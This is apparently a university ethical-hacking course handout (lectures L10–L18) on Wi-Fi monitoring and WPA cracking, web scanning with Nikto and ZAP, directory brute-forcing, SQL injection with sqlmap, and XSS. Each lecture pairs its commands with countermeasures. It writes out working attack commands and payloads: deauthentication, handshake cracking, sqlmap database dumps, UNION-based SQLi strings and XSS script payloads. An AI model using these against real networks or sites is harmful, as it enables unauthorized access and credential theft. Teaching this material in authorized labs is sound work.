

Contents

Vol 02: Wireless, Web Scanning, App Inspection	2
L10: Wireless Reconnaissance & Monitoring	2
Purpose	2
Tools	2
Usage steps	2
Countermeasures	2
L11: WPA/WPA2 Security Assessment	3
Purpose	3
Aircrack-ng — usage steps	3
hashcat alternative	3
Countermeasures	3
L12: Web Server Scanning with Nikto	3
Purpose	3
Usage steps	3
Common findings	4
Countermeasures	4
L13: OWASP ZAP — Installation & Passive Scanning	4
Purpose	4
Installation	4
Passive scan steps	4
Countermeasures	4
L14: ZAP Active Scanning & Proxy Interception	5
Purpose	5
Active scan steps	5
Manual interception	5
Countermeasures	5
L15: Directory & Content Discovery	5
Purpose	5
Gobuster — usage steps	5
dirb usage	6
Countermeasures	6
L16: SQL Injection Fundamentals & Manual Testing	6
Purpose	6
Manual testing steps	6
DVWA lab	6
Countermeasures	6
L17: Automated SQL Injection with sqlmap	7
Purpose	7
Usage steps	7

Safety	7
Countermeasures	7
L18: Cross-Site Scripting (XSS) & Client-Side Attacks	7
Purpose	7
Manual testing payloads	7
ZAP detection	8
BeEF (awareness)	8
Countermeasures	8

Vol 02: Wireless, Web Scanning, App Inspection

Course: nou26_ge86 | **Lectures:** L10–L18

Instructor: Prof. Dr. Nilesh K. Modi | IGNOU/BAOU

L10: Wireless Reconnaissance & Monitoring

Purpose

Discover Wi-Fi networks, clients, and security configurations using passive and active wireless monitoring.

Tools

- **iwconfig** / **iw** — interface configuration
- **Airodump-ng** — capture 802.11 frames
- **Kismet** — wireless IDS

Usage steps

```
# Enable monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Scan all channels
sudo airodump-ng wlan0mon

# Target specific BSSID + channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
```

Countermeasures

- Use **WPA3** or WPA2-Enterprise (802.1X).
- Hide SSID is not security — rely on strong PSK/passphrase.
- Deploy WIDS (wireless IDS).
- Disable legacy protocols (WEP, WPA-TKIP).

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L11: WPA/WPA2 Security Assessment

Purpose

Assess Wi-Fi authentication strength by capturing handshakes and testing passphrase entropy (authorized lab only).

Aircrack-ng — usage steps

Deauth to force handshake (lab AP only)

```
sudo aireplay-ng -O 5 -a <AP_BSSID> wlan0mon
```

Crack captured handshake

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
```

hashcat alternative

Convert cap to hashcat format

```
cap2hccapx capture-01.cap output.hccapx
```

```
hashcat -m 2500 output.hccapx rockyou.txt
```

Countermeasures

- Use passphrases 20 random characters.
- Enable **PMF** (802.11w) where supported.
- Rate-limit authentication attempts.
- Monitor for deauth floods (deauth attack detection).

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L12: Web Server Scanning with Nikto

Purpose

Open-source web server scanner that identifies outdated software, dangerous files, and misconfigurations.

Usage steps

Basic scan

```
nikto -h http://192.168.56.101
```

Scan specific port + SSL

```
nikto -h 192.168.56.101 -p 443 -ssl
```

```
# Save report
nikto -h http://target -o report.html -Format html

# Tune scan (evade IDS)
nikto -h http://target -Tuning 123456789
```

Common findings

- Default files (/admin, /phpinfo.php)
- Outdated Apache/IIS versions
- HTTP methods enabled (PUT, TRACE)
- Missing security headers

Countermeasures

- Remove default pages and sample apps.
- Keep web server patched.
- Disable dangerous HTTP methods.
- Add security headers (CSP, X-Frame-Options).
- Rate-limit scanner traffic at WAF.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L13: OWASP ZAP — Installation & Passive Scanning

Purpose

OWASP Zed Attack Proxy (ZAP) is a free web app security scanner and intercepting proxy.

Installation

```
# Kali: pre-installed; verify with
zapproxy --version
# Or download from zapproxy.org
```

Passive scan steps

1. Launch ZAP → create new session.
2. Set target URL: `http://192.168.56.101/dvwa`.
3. Configure browser proxy: `127.0.0.1:8080`.
4. Browse the application manually.
5. Review **Alerts** tab for passive findings (missing headers, cookie flags).
6. Export report: Report → Generate HTML.

Countermeasures

- Fix all passive findings before active testing.
- Set `HttpOnly` and `Secure` on session cookies.

- Implement Content-Security-Policy.
- Run ZAP in CI/CD pipeline (baseline scan).

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L14: ZAP Active Scanning & Proxy Interception

Purpose

Actively probe web apps for injection flaws, XSS, and misconfigurations.

Active scan steps

1. Spider the target (Automated Scan → Spider).
2. Run **Active Scan** on discovered URLs.
3. Intercept requests: Break tab → modify parameters.
4. Replay with Fuzzer: right-click → Attack → Fuzz.
5. Review risk levels (High/Medium/Low/Info).

Manual interception

```
# Example: modify POST parameter via ZAP proxy
# Original: id=1
# Modified: id=1' OR '1'='1
# Observe server response for SQL errors
```

Countermeasures

- Input validation and parameterized queries.
- WAF with virtual patching.
- Disable verbose error messages in production.
- Scope active scans to authorized URLs only.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L15: Directory & Content Discovery

Purpose

Find hidden directories, backup files, and admin panels not linked in the application.

Gobuster — usage steps

```
# Directory brute-force
```

```
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak
```

```
# DNS subdomain enumeration
```

```
gobuster dns -d example.com -w subdomains.txt
```

```
# ffuf (fast alternative)
```

```
ffuf -u http://target/FUZZ -w common.txt -fc 404
```

dirb usage

```
dirb http://192.168.56.101 /usr/share/dirb/wordlists/common.txt
```

Countermeasures

- Remove backup files from web roots.
- Return consistent 404 pages (no size differences).
- Require authentication for admin paths.
- Monitor for enumeration patterns (many 404s from one IP).

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L16: SQL Injection Fundamentals & Manual Testing

Purpose

SQL injection (SQLi) inserts malicious SQL via unsanitized input — manual testing confirms exploitability before automation.

Manual testing steps

1. Identify input points: ?id=1, login forms, search boxes.
2. Test with payloads:
 - ' OR '1'='1
 - 1' ORDER BY 5--
 - 1 UNION SELECT null,username,password FROM users--
3. Observe errors, behavior changes, timing delays.
4. Classify: in-band, blind (boolean/time), out-of-band.

DVWA lab

```
# Low security: http://target/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
# Escalate through DVWA security levels
```

Countermeasures

- **Parameterized queries / prepared statements** (primary fix).
- ORM with bound parameters.
- Least-privilege DB accounts (no FILE/SHUTDOWN).
- WAF as secondary layer; not a substitute for secure coding.

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L17: Automated SQL Injection with sqlmap

Purpose

sqlmap automates detection and exploitation of SQL injection vulnerabilities.

Usage steps

Test URL parameter

```
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="secu
```

Enumerate databases

```
sqlmap -u <url> --dbs
```

Dump table

```
sqlmap -u <url> -D dvwa -T users --dump
```

POST request from file

```
sqlmap -r request.txt --batch
```

Risk/level tuning

```
sqlmap -u <url> --level=3 --risk=2
```

Safety

- Use `--batch` for non-interactive labs.
- Never run against production without written authorization.
- `--tamper` scripts for WAF evasion (awareness only).

Countermeasures

- Same as L16: parameterized queries.
- Block sqlmap User-Agent signatures at WAF.
- Monitor for UNION/SELECT patterns in query strings.
- Deploy database activity monitoring (DAM).

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.

L18: Cross-Site Scripting (XSS) & Client-Side Attacks

Purpose

XSS injects malicious scripts into pages viewed by other users — stored, reflected, and DOM-based variants.

Manual testing payloads

```
<script>alert('XSS')</script>  
<img src=x onerror=alert(1)>
```

```
"><svg onload=alert(1)>
```

ZAP detection

1. Active scan flags XSS automatically.
2. Manual: submit payloads in every input field.
3. Check if payload appears unencoded in response.

BeEF (awareness)

Browser Exploitation Framework hooks browsers post-XSS — demonstrates impact of session hijacking via client-side execution.

Countermeasures

- **Output encoding** (HTML, JS, URL context-aware).
- Content-Security-Policy: `default-src 'self'`.
- HttpOnly cookies prevent JavaScript access.
- Sanitize HTML with allowlist libraries (DOMPurify).

Lab reminder: test only on authorized systems. Unauthorized access violates the IT Act, 2000.